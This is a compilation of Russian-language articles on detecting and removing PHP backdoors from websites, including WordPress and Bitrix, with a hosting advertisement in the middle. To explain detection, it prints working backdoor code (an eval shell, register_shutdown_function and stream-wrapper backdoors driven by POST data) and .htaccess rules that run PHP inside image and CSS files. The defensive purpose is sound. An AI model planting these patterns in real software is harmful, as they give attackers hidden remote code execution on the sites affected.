Как найти php backdoor на сайте? После поиска зловреда на сайте заказчика решил систематизировать свои знания по этому вопросу.
Самый короткий пример позволяющий исполнить произвольный php код удаленно:
eval($_REQUEST[‘phpshell’]); |
1. Поискать на сайте “опасные” функции:
а) eval() — исполняем php код
б) passthru(), exec() и им подобные — испололняем команду ОС
в) fopen(), chmod(), touch(), … — функции для работы с файловой системой
Для того чтобы искать, понадобится шелл доступ и некоторые знания *nix комманд. Пример, как найти в текущей директории рекурсивно все *.php файлы содержащие функцию eval()
find ./ –name “*.php” –print | xargs grep “eval(“ |
Пример, как найти последние измененные файлы за неделю:
find ./ –mtime –7 –name “*.php” –prune –print |
find — великолепная утилита для поиска в никсах, но синтаксис сложно запомнить, для ленивых есть отличный онлайн find помощник .
2. Проверить .htaccess файлы на наличие чего нибудь подозрительного. Например можно засунуть php код в *.html так
RewriteEngine on RewriteRule ^(.*).html $1.php |
Или даже в css и jpg, чтоб никто не догадался!
AddHandler application/x–httpd–php .php .css .jpg |
3. Анализируем логи. Если известно примерное время, после которого замечен бэкдор, то можно поискать подозрительное в логах. Хотя на сайте с высокой посещаемостью это будет нелегко.
Пример:
“GET /path/footer.inc.php?act=edit&file=<span style=”background–color:#ffff00;”>/home/account/public_html/.htaccess</span> HTTP/1.1″ 200 4795 “http://website/path/footer.inc.php?act=filemanager” “Mozilla/5.0…” |
Многие наивно думают, что не используя самописные скрипты — застрахованы от зловредов. Это не так. Шелл-код нередко встречается и в CMS и форумах. Обычно этим грешат нулленые версии. А иногда и в плагинах.
Ну и наконец полезные ссылки по теме:
Бэкдоры: PhpRemoteView , r57shell
NeoPI скрипт на Питоне для поиска “опасного” кода
Статья на securitylab.ru
Распознать и обезвредить. Поиск неортодоксальных бэкдоров
Время на прочтение
5 мин
Количество просмотров 14K
Согласно нашим подсчетам, в 72% зараженных сайтов использованы программы скрытого удаленного администрирования — бэкдоры. С их помощью мошенники получают удаленный доступ к вашему сайту, и понятное дело, чем это грозит владельцу: получение и передачи конфиденциальных данных пользователей, запуск вредоносных программ, уничтожения информации и тд.
Время от времени приходится сталкиваться с уникальными бэкдорами, которые не включают обычные функции PHP, такие как eval, create_function, preg_replace, assert, base64_decode и т.п.
Такие бэкдоры часто выглядят как исходный код без какой-либо обфускаций, нет зашифрованных строк, конкатенации строк, форматирования кода программы, изменения его структуры. Однако эти бэкдоры по-прежнему позволяют злоумышленнику запускать на вашем сервере произвольный код.
Бэкдор и Shutdown Function
Давайте начнем с простого. Комментарий в файле говорит, что это @package win.error.Libraries с функцией:
function win()
{ register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }
В этом случае $ _POST мы рассматриваем как нечто подозрительное. Но действительно ли это злонамереннй код?
register_shutdown_function регистрирует функцию, которая выполнится по завершении работы скрипта. Потому, независимо от кода, который вы видите в скрипте, после его завершения будет выполнена функция обратного вызова из функции register_shutdown_function.
Функция, выполняемая после скрипта, будет выглядеть так:
$_POST['d']('', $_POST['f']($_POST['c']))
В любом случае, код выглядит загадочным. Взглянем на него глазами хакера и предположим, что им был активирован скрипт со следующими параметрами POST:
d = create_function
е = base64_decode
с = some_base64_encoded_malicious_PHP_code
Получаем следующее:
create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))
Теперь это выглядит как обычный бэкдор. Этот код не требует дополнительного вызова, так как register_shutdown_function регистрирует функцию обратного вызова, которая автоматом выполнится после завершения работы скрипта.
Бэкдор и Stream Wrapper
Теперь немного усложним задание по распознаванию бэкдоров.
Перед нами комментарий — @package Stream.ksn.Libraries, а значит, файл содержит класс Stream и функцию для работы с потоками stream_wrapper_register, которая регистрирует обертку по ksn протоколу.
class Stream
{
function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$f = $_POST['d']('', $url["host"]);
$f();
return true;
}
}
stream_wrapper_register("ksn", "Stream");
// Register connect the library Stream
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');
А теперь, по порядку. Для владельцев сайта и некоторых вебмастеров этот код выглядит вполне законно — типичные файлы в системах управления контентом или сторонних плагинах — возможно, не совсем понятно за чем он и что делает, но если есть — видимо нужен и полезен. А кто-нибудь знает, что такое ksn потоки?
Но погодите — мы видим, что в коде присутствуют POST-данные. А вот это уже вызывает подозрение, так как параметры POST могут контролироваться злоумышленниками. Пока не совсем ясно, какие данные POST используются в этом коде. Поиграем в криптографов и используем технику декодирования, заменим буквы в фразе.
Начнем с этой части кода из функции stream_open:
$f = $_POST['d']('', $url["host"]);
Подозрительно, когда параметр POST используется как имя функции. Код предполагает, что значение $ _POST [‘d’] может быть create_function. Если это так, то $url [«host»] содержит какой-то исполняемый код, но переменная $ url разбирает URL и возвращает его компоненты с использованием стандартной функции PHP parse_url. Это означает, что $url [«host»] — это только часть хост-часть URL пути.
Сомневаюемся, что доменное имя может содержать исполняемый PHP-код… верно?
Давайте проверим, откуда мы получаем параметр $path в function stream_open: по идее он будет содержать разобраный URL-адрес, полученный при использовании функции parse_url. Чтобы выяснить это, рассмотрим эту часть кода:
stream_wrapper_register("ksn", "Stream");
Функция stream_wrapper_register регистрирует протокол ksn и класс Stream, который будет работать с этим протоколом. Класс Stream следует условию прототипа streamWrapper, а именно streamWrapper::stream_open — открывает файл или URL, и будет вызваться сразу же после инициализации протокола.
stream_open должен следовать описанию, где $path — это URL переданное функции fopen(), которая закрепляет именованный ресурс, указанный в аргументе filename, за потоком:
public bool streamWrapper::stream_open ( string $path , string $mode ,
int $options , string &$opened_path )
В нашем случае fopen открывает URL-адрес ksn: //:
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');
В итоге, $path получается строка: ‘ksn: //’.$_POST [‘ f ‘] ($ _POST [‘ c ‘]),’
Это создаст URL, в котором часть хоста — исполняемый зловредный PHP код.
Можно ли создать доменное имя или IP-адрес, который будет в действительности полноценным PHP-кодом для атаки веб-сайтов? Функция parse_url не проверяет URL-адреса на корректность, а просто разбивает их на части. Все от: // до первой косой черты (/) или двоеточия (:) считается основной частью URL адреса.
Например, если вы задаете parse_url function: ksn: // eval (base64_decode ($ _POST [«code»])); возвращена будет основная часть URL: eval (base64_decode ($ _ POST [«code»]));
Следуя логике бэкдора, получим следующие параметры POST:
е = base64_decode
с = some_base64_encoded_malicious_PHP_code
В этом случае формулировка fopen выглядит так:
$fp = fopen('ksn://base64_decode(base64_encoded_malicious_PHP_code)', '');
Теперь, вернемся к stream_open function, это будет последним фрагментом головоломки. Теперь известно, какой URL-адрес можно передать файлу функции fopen:
$f = $_POST['d']('', $url["host"]);
И брюки превращаются, превращаются брюки — в элегантную строку:
$f = create_function('', base64_decode(base64_encoded_malicious_PHP_code));
Следующая строка просто выполняет бэкдор-код:
$f();
Другими словами, все, что требуется для выполнения бэкдор-кода, — это вызвать функцию fopen () с созданным URL-адресом ksn: //.
Выше был показан пример, как злоумышленники могут использовать менее известные функции PHP для создания уязвимостей. Учитывая, что на типичном веб-сайте есть тысячи PHP-файлов, вряд ли можно тщательно проверить каждый файл. Потому поиск вредоносного ПО на сайте — задача не совсем простая. Нельзя полагаться лишь на ручную проверку кода и простые скрипты, которые сканируют известные шаблоны вредоносных программ.
На правах рекламы. Акция! Только сейчас получите до 4-х месяцев бесплатного пользования VPS (KVM) c выделенными накопителями в Нидерландах и США (конфигурации от VPS (KVM) — E5-2650v4 (6 Cores) / 10GB DDR4 / 240GB SSD или 4TB HDD / 1Gbps 10TB — $29 / месяц и выше, доступны варианты с RAID1 и RAID10), полноценным аналогом выделенных серверов, при заказе на срок 1-12 месяцев, условия акции здесь, cуществующие абоненты могут получить 2 месяца бонусом!
Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?
Вы очищаете сайт от контента, который вы не публиковали, но он продолжает появляться на сайте, или Вордпресс сообщает еще об одном аккаунте администратора, но в Пользователях сайта находится только один аккаунт администратора.
Скорее всего, на вашем сайте есть так называемый бэкдор, через который хакер получает доступ к сайту.
В этой статье вы узнаете, что такое бэкдоры, для чего они используются, как можно избавиться от бэкдора вручную или при помощи плагинов и как обезопасить сайт от повторного появления бэкдора.
Содержание:
Что такое бэкдор
- Как хакеры проникают на сайт
- Ядро Вордпресс
- Темы и плагины
- Сделайте бэкап
- Как найти и удалить вредоносный скрипт
- Проверьте скрытых пользователей
- Проверьте файлы сайта
- Поиск измененных файлов через SSH
- Как найти скрытого админа в базе данных
- Быстрое решение
- Просканируйте сайт с помощью плагинов
- Он-лайн сервисы для проверки сайта
- Плагины для защиты от повторного заражения
Что такое бэкдор
Когда хакер находит способ для получения доступа к сайту и админской части сайта, не пользуясь обычной страницей входа (сайт.ru/wp-login.php), — это называется бэкдор (задняя дверь).
Хакер создает скрипт, который работает как ключ. Он внедряет его в файловую структуру сайта и получает доступ ко взломанному сайту в любое время, когда ему это нужно. При этом хакер остается незамеченным, потому что не вводит логин и пароль и не пользуется страницей авторизации для входа.
Обычно хакеры делают со взломанными сайтами что-нибудь из этого:
- Добавляют себя в качестве скрытого администратора, или используют существующий аккаунт администратора
- Исполняют код через браузер посетителя
- Собирают личную информацию пользователей сайта для рассылки спама
- Меняют контент сайта для своих целей, обычно спам или редирект на свои сайты
- Рассылают спам со взломанного сайта под видом писем от владельца сайта
Когда хакер добавляtт файл в файловую структуру сайта, он маскируют его под обычный файл, называя его sunrise.php, php5.php, user-wp.php, wp-config.zip или что-нибудь подобное. Файл с таким названием выглядит как один из стандартных файлов Вордпресс.
Некоторые плагины могут содержать файл sunrise.php, но этот файл должен находиться в папке плагина, а не в главных папках сайта, — wp-includes
, wp-content/plugins
, themes
или uploads
.
Кроме этих папок, хакеры могут добавить изменения в главный файл сайта wp-config.php.
Как хакеры проникают на сайт
В основном хакеры попадают на сайты через уязвимости в ПО.
Ядро Вордпресс
Вордпресс достаточно безопасен, но хакеры постоянно находят новые пути для проникновения на Вордпресс сайты. Разработчики устраняют найденные уязвимости, хакеры находят новые, и так далее.
Около 43% сайтов в Интернете работают на Вордпресс. Существует большое сообщество Вордпресс, которое помогает разработчикам тестировать и находить уязвимости до и после выпуска новой версии. Иногда непредвиденная уязвимость попадает в новую версию, тогда новая версия выходит с уязвимостью.
Если хакеры ее обнаружат, они могут проникнуть на сайты с этой уязвимостью. Когда ее обнаружат разработчики, они устранят ее в следующем обновлении.
Даже если новая версия выходит с уязвимостью, это не значит, что Вордпресс небезопасен. Если вы постоянно обновляете Вордпресс, то последняя версия не содержит известных уязвимостей.
Если не обновляете, то хакеры могут проникнуть на ваш сайт по списку известных уязвимостей, который находится в открытом доступе.
- Почему у вас должна быть последняя версия Вордпресс
Темы и плагины
То же самое относится к темам и плагинам. Иногда они содержат уязвимости, и если вы не обновляете софт регулярно, хакеры могут использовать уязвимости старых версий чтобы проникнуть на сайт.
Темы и плагины создаются разными разработчиками или компаниями, поэтому некоторые из них могут быть написаны недостаточно хорошо. Cуществует список минимальных требований, которым софт должен соответствовать, но эти требования являются довольно общими и нестрогими.
Устанавливайте темы и плагины, которые регулярно обновляются, имеют совместимость с последней версией Вордпресс и большое количество установок.
- Минимальная безопасность Вордпресс
Сделайте бэкап
Если вы подозреваете, что ваш сайт был взломан, то перед тем как начинать поиск взлома сделайте полный бэкап сайта. Например, бесплатными плагинами All-in-One WP Migration или UpdraftPlus.
Или сделайте бэкап на хостинге. Если что-то пойдет не так, вы сможете вернуться к первоначальному варианту.
- Бэкап Вордпресс — подробное описание
Как найти и удалить вредоносный скрипт
Первое, что вы можете сделать — поискать решение вашей проблемы в Яндексе или Гугле, или на блогах известных плагинов безопасности, например Wordfence или Sucuri, или на специальном сервисе Вордпресс, — WordPress Trac. На Вордпресс Трак вы можете найти проблему и возможное решение с Вордпресс, темами или плагинами, или создать новый тикет с вашей проблемой. Все сайты на английском.
Если эти сайты или Гугл / Яндекс не помогли, очистите кеш, удалите cookies и зайдите на сайт. Если сайт определяет вас как администратора, зайдите в другом браузере или в режиме Инкогнито.
Если вы видите сообщение, что подключение не защищено, это может быть знаком, что сайт взломан.
Такое сообщение появляется, когда SSL сертификат работает неправильно. Если вы видите изображение желтого или красного замкá рядом с URL адресом в браузере, кликните по нему и прочитайте сообщение.
Если срок действия сертификата истек или он стал недействительным, то обновите его. Сертификат может стать недействительным по разным причинам, например, изменился стандарт шифрования, но сертификат использует предыдущий стандарт. Текущий стандарт — SHA3.
Если вы видите сообщение, что сертификат не установлен или выпущен недоверенным издателем, тогда ваш сайт может быть взломан. Пройдите по сайту, вы можете найти какой-то спам или непонятный контент на Страницах, в Постах или в Комментариях.
Еще одна проверка — скопируйте ссылку на главную страницу или какой-нибудь пост и вставьте ее в Фейсбук, ВКонтакт или мессенджер и дождитесь загрузки предпросмотра. Если вы видите какой-то спам в описании, значит, хакеры вставили его в скрипт шапки сайта.
Проверьте скрытых пользователей
После того, как вы проверили спам на всем сайте, проверьте пользователей в Пользователи — Все пользователи.
Проверьте количество пользователей на верхней стрелке. Если их больше, чем вы ожидали, то у вас на сайте есть бэкдор.
Хакер может добавить себя не только в роли Администратора или Супер Администратора для мультисайта, но и назначить новому пользователю какую-то другую роль, поэтому проверьте всех пользователей сайта.
Если вы не можете войти на сайт под аккаунтом Администратора, даже если вы пытаетесь восстановить пароль, это может быть еще одним знаком, что ваш сайт взломан.
- Как зайти в Консоль Вордпресс после взлома сайта
- Как создать нового администратора, если нет доступа к админке и базе данных
Проверьте файлы
Еще одно место, которое надо проверить — файлы сайта на сервере.
Зайдите на сервер через хостинг-панель или по FTP и сравните файлы, которые находятся на сервере с файлами в Кодексе Вордпресс. Если вы нашли файлы, которых там не должно быть, откройте их и посмотрите что в них находится.
Если вы видите код, который выглядит как что-нибудь вроде eval($_POST['цифры-буквы-символы']);
или eval(base64_decode("цифры-буквы-символы"));
, скорее всего, вы нашли бэкдор.
Хакеры часто используют эти функции:
- base64
- str_rot13
- gzuncompress
- eval
- exec
- create_function
- system
- assert
- stripslashes
- preg_replace (/e/)
- move_uploaded_file
Иногда такой код может принадлежать темам или плагинам, но в большинстве случаев это бэкдор.
Удалите этот файл и проверьте остальные файлы, хакеры часто создают несколько бэкдоров, поэтому если вы пропустите один из них, хакеры в дальнейшем могут его использовать.
Скачайте последнюю версию Вордпресс на компьютер, распакуйте архив и сравните каждый файл из архива с файлами на сервере. Если вы увидите какое-то отличие, замените файл на сервере файлом из архива Вордпресс.
В зависимости от вашей ситуации вы также можете проверить темы и плагины. Или можете удалить все плагины и темы, кроме активной и родительской, если вы пользуетесь дочерней темой.
- Что можно безопасно удалить с любого взломанного сайта
Поиск измененных файлов через SSH
Поиск измененных файлов — долгая и нудная работа, которую можно частично автоматизировать при помощи команд в SSH терминале.
Команды, которые будут использоваться ниже, могут не работать в некоторых терминалах, читайте документацию к терминалу. Кроме этого, доступ к серверу через SSH может быть выключен на хостинге. Включение этой функции на разных хостингах может находиться в разных местах, на моем хостинге это находится в разделе FTP.
Откройте терминал, который вы используете, например, Terminal для Маков или PuTTY для Windows, я использую встроенный терминал на хостинге, и введите такую строку:
find /путь/к/вашему/сайту -type f -name "*.php" -ctime -2
Эта команда проверит все PHP файлы, которые были изменены за последние 2 дня. Замените /путь/к/вашему/сайту
на ваш путь. Также вы можете заменить .php
на другое расширение.
Просмотрите результаты поиска, вы можете найти файлы, которые не изменяли.
Если не нашли, проверьте изменения за 4 дня. Постепенно увеличивайте диапазон поиска, пока не найдете изменения.
После того, как вы выяснили, когда посторонний скрипт был внедрен на сайт, вы можете восстановить сайт из бэкапа с более ранней датой. Это короткий путь для возвращения сайта в состояние до внедрения бэкдора.
После восстановления замените все пароли к аккаунтам администратора и пользователей, пароли к FTP и хостингу, ключи и соли в файле wp-config.php, и там же можно заменить пароль к базе данных и в приложении phpMyAdmin.
Если вы хотите найти бэкдор вручную, то заходите в нужную папку при помощи команды cd /путь/к/вашему/сайту/папка/
. Замените /путь/к/вашему/сайту/папка/
на адрес папки, затем введите vi имя.php
, чтобы просмотреть содержимое файла. Замените имя.php
на нужное имя файла.
Теперь вы можете сравнить содержимое файла с содержимым файла свежей версии из репозитария Вордпресс. Если нужно, отредактируйте файл, после редакции наберите :wp
для сохранения и выхода, или :q
для выхода.
Чтобы удалить файл, наберите rm -rf имя.php
. Замените имя.php
на имя вашего файла.
Как найти скрытого админа
Если вы обнаружили еще один аккаунт администратора или пользователя с другой ролью, который не отображается в Пользователях сайта, вы можете найти этого пользователя в базе данных сайта.
Зайдите в phpMyAdmin на хостинге и откройте базу данных. В списке слева кликните таблицу wp_users. В поле справа должны появиться все пользователи сайта.
Если вы видите какого-то пользователя, которого не должно быть, нажмите кнопку Удалить. Если у вас Мультисайт, кликните wp_sitemeta в списке таблиц слева и проверьте записи всех пользователей.
Посмотрите поле site_admins, вы можете найти неизвестного вам пользователя. Если хакер создал скрытый аккаунт, вы должны увидеть что-нибудь подобное:
a:2:{i:0;s:12:«sergeypetrov»;i:1;s:6:«hacker»;}
Вместо части hacker
должно быть какое-то имя, которое вы не узнаете. Чтобы удалить этот аккаунт, нажмите на кнопку Редактировать рядом с этой записью, и удалите часть, добавленную хакером, так что должно получиться так:
a:1:{i:0;s:12:«sergeypetrov»;}
Если у вас на сайте несколько аккаунтов, тогда удалите только часть, добавленную хакером: i:1;s:6:«hacker»;
. Вместо hacker
может быть другое имя, которое использует хакер.
Обратите внимание, что начало строки изменилось с a:2:
на a:1:
. Это значает, что у вас 1
аккаунт администратора. Если у вас несколько администраторов, например, 2
, то строка должна начинаться с a:2:
.
Переменная 12 в части i:0;s:12:
означает, что имя администратора состоит из 12 символов. Если вы захотите изменить ваше имя пользователя, то эта переменная должна соответствовать количеству символов в новом имени пользователя. Имя пользователя чувствительно к регистру.
После того, как вы удалили неизвестного пользователя, выберите Сохранить в выпадающем списке внизу страницы и нажмите Вперед.
- Как изменить имя пользователя Вордпресс
Просканируйте сайт с помощью плагинов
Установите плагин Anti-Malware Security and Brute-Force Firewall, и просканируйте им сайт.
Кроме этого плагина вы можете попробовать плагины NinjaScanner и Quttera Web Malware Scanner.
Он-лайн сервисы для проверки сайта
- Google Transparency Report — проверка сайта в базе Google. Первый шаг, чтобы определить, был ли сайт взломан.
- Unmask Parasites — проверяет, был ли сайт взломан и есть ли на сайте вредоносный код или спам.
- WordPress Security Scan — проверяет основные уязвимости Вордпресс сайтов. Более глубокий анализ доступен по платной подписке.
- Sucuri SiteCheck – проверяет сайт на наличие вредоносного софта, внесение сайта в черные списки (на данный момент 9 списков), ошибок и устаревшего ПО.
- Norton Safe Web – сканер сайта от Norton, проверяет сайт на наличие вредоносного ПО.
- VirusTotal – крутейший сервис для сканирования сайтов, использует более 50 разных сканеров — Касперского, Dr.Web, ESET, Yandex Safebrowsing и других. Можно просканировать сайт, IP адрес или файл.
- Quttera – сканирует сайт на наличие вредоносного ПО.
- WebSicherheit – сканирует сайт на наличие вредоносного ПО, вирусов, внедренных скриптов и так далее.
- Pentest-Tools — еще один хороший сервис для проверки сайта на наличие заражения. В бесплатной версии доступен общий анализ сайта.
- 2ip — проверяет на вирусы и включение в черные списки Яндекса и Гугла.
Другой способ избавиться от хакеров и всех бэкдоров, — найденных и ненайденных — скачать сайт на компьютер и проверить антивирусом.
Еще один способ — проверить и вылечить сайт на платном сервисе.
Радикальный способ — переустановить Вордпресс или сбросить настройки по умолчанию.
- Как найти уязвимости на Вордпресс сайте
- Как проверить и вылечить от вирусов Вордпресс сайт
Плагины защиты
Восстанавливать или лечить сайт всегда сложнее, чем заранее усилить безопасность сайта. Усилить защиту можно вручную, или при помощи плагинов.
После того, как вы вылечили сайт, установите один из этих плагинов, чтобы усложнить хакерам взлом сайта в следующий раз.
Sucuri Security
Sucuri Security — лучший сервис защиты сайта. Они предлагают файрвол на уровне DNS, кеширование, подключение сайта к фирменному CDN и бесплатное лечение и удаление сайта из черных списков, если сайт был взломан.
Весь трафик, идущий на сайт, проходит через их облачный прокси сервер, где проверяется каждый запрос к сайту. Безопасные запросы проходят к сайту, вредоносные запросы блокируются на их сервере.
Sucuri увеличивает производительность сайта, потому что забирает на свой сервер нагрузку по обработке вредоносного трафика. Ускоряет сайт кешированием и оптимизацией и копирует сайт на фирменный CDN Anycast. Сукури защищает сайт от SQL-инъекций, XSS атак, RCE, RFU, троянов, бэкдоров и всех других известных угроз.
- Подробное описание Sucuri Security
- Как настроить мощную защиту сайта с файрволом на уровне сервера на основе бесплатной версии Sucuri Security
Wordfence
Один из самых известных и мощных плагинов безопасности. Wordfence может определять, что файлы были изменены и очищает сайт, если он был заражен. Защищает сайт от всех возможных типов угроз.
У плагина есть встроенный файрвол на уровне сайта и сканер. Плагин постоянно обновляется и имеет все последние исправления уязвимостей. В бесплатной версии база плагина обновляется с задержкой в 30 дней.
Работает с Мультисайтом, легко устанавливается, имеет большое количество настроек, которые подробно описаны. Есть бесплатная и премиум версии.
iThemes Security
iThemes Security может находить и очищать поврежденные файлы в несколько кликов, и защищает сайт от новых атак.
Плагин скрывает стандартную страницу авторизации, может менять ключи безопасности и делать полный бэкап сайта.
Также работает с Мультисайтом, устанавливается как обычно, большое количество настроек, есть бесплатная и платная версии.
All in One WP Security & Firewall
Большой бесплатный плагин со множеством настроек, имеет встроенный файрвол, защищает файлы сайта и базу данных. В платной версии есть сканер сайта на наличие вредоносного ПО.
Проверяет файлы и базу данных, и сообщает об изменениях. Меняет стандартную страницу авторизации, скрывает версию Вордпресс, меняет префикс базы данных и еще десятки других функций. Ко всем функциям есть описания.
Плагин скорее предназначен для предупреждения заражений, чем для лечения, поэтому его лучше устанавливать на свежий сайт. Один из лучших бесплатных плагинов.
Security Ninja
Бесплатный плагин с функцией подробного анализа сайта на наличие уязвимостей, через которые сайт может быть инфицирован. Можно установить этот плагин для проверки сайта на наличие уязвимостей.
В платной версии добавляется сканер ядра, который сравнивает файлы вашей установки Вордпресс с оригинальными файлами на сайте Вордпресс, сканер сайта на наличие вредоносного ПО и облачный файрвол, в который добавляются IP, распространяющие вредоносное ПО и спам.
- Подробное описание Security Ninja Pro
- Как усилить защиту Security Ninja Pro до лучших премиум-плагинов безопасности
VaultPress
VaultPress защищает сайт от разнообразных угроз и сканирует ядро Вордпресс на изменения в файлах. Остальные файлы не сканирует.
В платной версии находится еще больше возможностей по защите сайта и функция бэкапа. Совместим с Мультисайтом, но каждый подсайт требует своей собственной лицензии.
BulletProof Security
Бесплатный плагин, который может сканировать файлы на наличие в них вредоносного ПО и помещать их в карантин, пока вы не решите, что с ними делать. Защищает сайт и имеет встроенный файрвол.
Совместим с Мультисайтом и прост в установке и настройке. В платной версии имеет защиту от спама и функции бэкапа и восстановления сайта.
Shield WordPress Security
Shield WordPress Security защищает сайт от всех последних угроз, имеет встроенный файрвол, защиту от спама и ограничения на авторизацию на странице входа на сайт. Хороший простой плагин, если вы не хотите тратить время на изучение более сложных плагинов.
- 7 Лучших плагинов безопасности Вордпресс
Заключение
После того, как вы очистили сайт от вредоносного кода, его надо защитить от повторного заражения.
Используйте популярные темы и плагины, настройте автообновление и установите один из плагинов безопасности. Некоторые плагины безопасности могут сканировать сайт по расписанию и сообщать о подозрительных событиях на е-мейл. Я пользуюсь Sucuri Security.
- Безопасность Вордпресс. Подробное описание
Читайте также:
- Чек-лист: Что делать, если сайт взломали
- Как вылечить от вирусов Вордпресс сайт
- Как зайти в админку после взлома сайта
- Как найти следы взлома в логах сервера
- Как удалить сайт из черных списков
Надеюсь, статья была полезна. Оставляйте комментарии.
Вы сильно заблуждаетесь, если считаете, что признаком сломанного сайта является турецкий флаг на главной странице. Давно существует налаженная схема зарабатывания денег на сломанных сайтах.
Сначала загружается “бэкдор” или “троян”, что по сути одно и то же, представляет собой небольшой скрипт, позволяющий выполнять команды на зараженном сайте. Он может пролежать без дела не один месяц, но при этом дырка вашего сайта выложена на продажу на каком-нибудь хакерском форуме. Это первый этап заработка. Затем купивший уязвимость вставляет на сайте разного рода ссылки, предназначенные либо для продвижения чего-то в поисковиках (т.е. это черный SEO), либо для отправки ваших посетителей на хакерский (или тоже сломанный) сайт, который так или иначе вымогает деньги через SMS. К сожалению, вовлечённость населения в интернет на фоне компьютерной грамотности позволяет таким пакостным людям делать свой бизнес.
Для нашей компании вопрос безопасности имеет первостепенное значение. Мы изучаем каждую жалобу на взлом, скажу, что за мою практику работы в техподдержке (с 5-й версии), не было подтвержденного взлома через ядро битрикса.
Это не потому что наши программисты пишут идеальный код. Естественно, с опытом код становится надежнее, но программист думает о другом и по-другому. У взломщика деструктивное мышление, в определенной части программы оказываются данные, которые программист не предполагал получить, это приводит к некорректной работе программы.
Все наши дистрибутивы и все обновления тестируются специалистами по безопасности внутри компании перед выпуском. Мы ломаем свой код, уязвимости остаются внутри лаборатории. Но почему бывают взломы снаружи?
[spoiler]
Основные методы взлома сайта
Первая и самая распространенная причина – это виртуальный (разделяемый, шаред) хостинг. Архитектурно он не обеспечивает полную изоляцию клиентов. Взлом одного сайта на хостинге часто ведет к взлому соседних. А зачастую, даже не надо ломать сайт, достаточно зарегистрировать тестовый аккаунт.
Никто не делает регулярный анализ конфигурации, а мониторить и обеспечивать безопасность виртуального хостинга обычно экономически необоснованно.
После одной из жалоб клиента наши специалисты проверили один разделяемый хостинг на безопасность через тестовый аккаунт. Было выявлено сразу две уязвимости, одна из которых позволяла стать администратором на соседних сайтах, другая – получить все пароли к базам данных. Естественно, информация сразу была направлена хостеру, и на сегодня проблемы закрыты. Но ситуация в целом печальна.
Тут мне вспоминается диалог из одного из любимых фильмов:
— И часто бывают такие аварии?
— Вы даже не представляете.
— А в какой компании вы работаете?
— В очень крупной.
Другая причина в старом уязвимом ПО, которое лежит рядом на этом же аккаунте или на соседнем аккаунте шаред хостинга (что связано с первой проблемой безопасности шаред хостинга). Это какой-нибудь сторонний форум, FCKeditor, joomla и пр. Если программа не обновляется автоматически, никто не обновляет её. В интернете полно рецептов по взлому старых версий ПО.
Следующий по распространенности случай – это заражение локального windows-компьютера трояном, который уводит сохраненные ftp пароли и сохраненные пароли браузера.
Немаловажное значение имеет выбор паролей. Удивительно, но очень часто пользователи создают аккаунты: admin/admin, admin/bitrix, admin/123456, admin/111111. При этом выключают капчу для защиты от подбора пароля у группы администраторов.
Разово привлеченные и обиженные недобросовестные программисты могут оставить на сайте трояны.
Меры предосторожности
К сожалению, у пользователя практически нет возможности защититься от уязвимости шаред хостинга. Пожалуй, самое лучшее, что можно сделать – это вовремя забить тревогу чтобы хостер предпринял меры.
Не размещайте на одном аккаунте хостинга коммерческий сайт на битриксе и частную страничку на джумле. Увы, желание сэкономить на хостинге часто приводит к том, что на одном аккаунте живет неизвестно что.
Не ленитесь создавать пароли сложнее, чем стандартные. Добавьте 2-3 специальных символа.
Пользуйтесь
одноразовыми паролями
. Вы не представляете, насколько вы повысите защищенность своего сайта. Это не требует дополнительных затрат, сгодится любой
мобильный телефон
.
Не привлекайте дешевых программистов на фриланс, экономия может выйти дороже.
Кто ломает сайты?
Среди тех, кто называет себя хакерами очень мало серьезных специалистов, способных самостоятельно что-то сломать. В подавляющем большинстве это так называемые “скрипт-кидди”, которые используют готовые инструкции и готовые скрипты, написанные профессионалами. Это подтверждается тем, что все случаи взлома похожи друг на друга словно сделаны по копирке. Такая ситуация с одной стороны объясняет большую популярность темы взлома, с другой – позволяет более менее простыми способами от них защититься.
Заражение вирусом или взлом
Уже не один год популярна тема заражения сайта вирусом. Для пользователя это равносильно взлому, но в действительности абсолютно другое. Принципиальная разница в том, что вирус действует автоматически и изначально живет на вашем локальном компьютере. Он по своему алгоритму делает замены в файлах на сайте используя ваши пароли для входа. Хакер действует более точечно и аккуратно.
Борьба с вирусом сводится к лечению своего компьютера, а потом автоматическим удалением вируса (или восстановлением из бэкапа). С хакером сложнее потому что надо найти точку входа на сайт. Бэкдоров часто бывает несколько, поэтому удалив один можно оставить дырку в другом.
Между тем, точка входа может быть единая: это заражение вашего компьютера. Держите его в чистоте, обновляйте антивирус и не забывайте делать проверки. Microsoft бесплатно предоставляет антивирус для лицензионной версии windows.
Вариант
лечения от вирусов предлагал некоторое время назад. А вот против бэкдоров до сих пор ничего не было. С помощью нашего специалиста по безопасности написал небольшой скрипт, который позволит найти подавляющее большинство (из популярных) бэкдоров на сайте. Но он не будет искать и чистить вирусы!
Автоматический поиск троянов
Мы не можем выпустить средство, гарантирующее 100% защиту от троянов и сделать его частью продукта потому, что вариантов написать нечто, делающее деструктивные действия, очень много. Но чтобы найти популярные бэкдоры, достаточно знать их характерные признаки.
Предложенный скрипт просканирует весь ваш сайт от корня в поисках подозрительных файлов. Условно обозначен признак, который показался подозрительным скрипту. Далее вы можете посмотреть скрипты и выполнить переименование так чтобы троян стал не опасен.
На моей установке демо сайта редакции “Большой бизнес” нашлись все трояны из папки “sh”, куда они были сложены. При этом произошло два ложносрабатывания: подозрительным оказался файл кеша и заенкоженный Zend’ом файл. Я умышленно не стал делать для них исключения т.к. ничего не мешает злодею положить троян в папку кеша, а зенд файлов у нас нет с 9-й версии. Делать исключения – значит увеличивать возможность пропуска трояна.
Поиск зенд файлов можно рассматривать как полезную фишку скрипта.
Что в итоге
Найденный троян поместите в карантин, затем проверьте свой компьютер на вирусы, после чего смените все пароли, напишите хостеру с просьбой проанализировать причину взлома и предоставить логи доступа вашего сайта. С информацией и логами обращайтесь в нашу техподдержку если причину установить не удалось.
Если вы не нашли троян, это не значит, что их нет, но даёт определенную долю уверенности. Специалист, видя скрипт, легко напишет обход для него. Это не панацея. Чем больше узнаю про безопасность в интернете, тем больше убеждаюсь, что в интернете нет ничего абсолютно защищенного. Любая информация может быть получена если усилия и затраты на её получение стоят результата.
Установка
Решение оформлено в виде модуля и бесплатно доступно в marketplace:
http://marketplace.1c-bitrix.ru/solutions/bitrix.xscan/
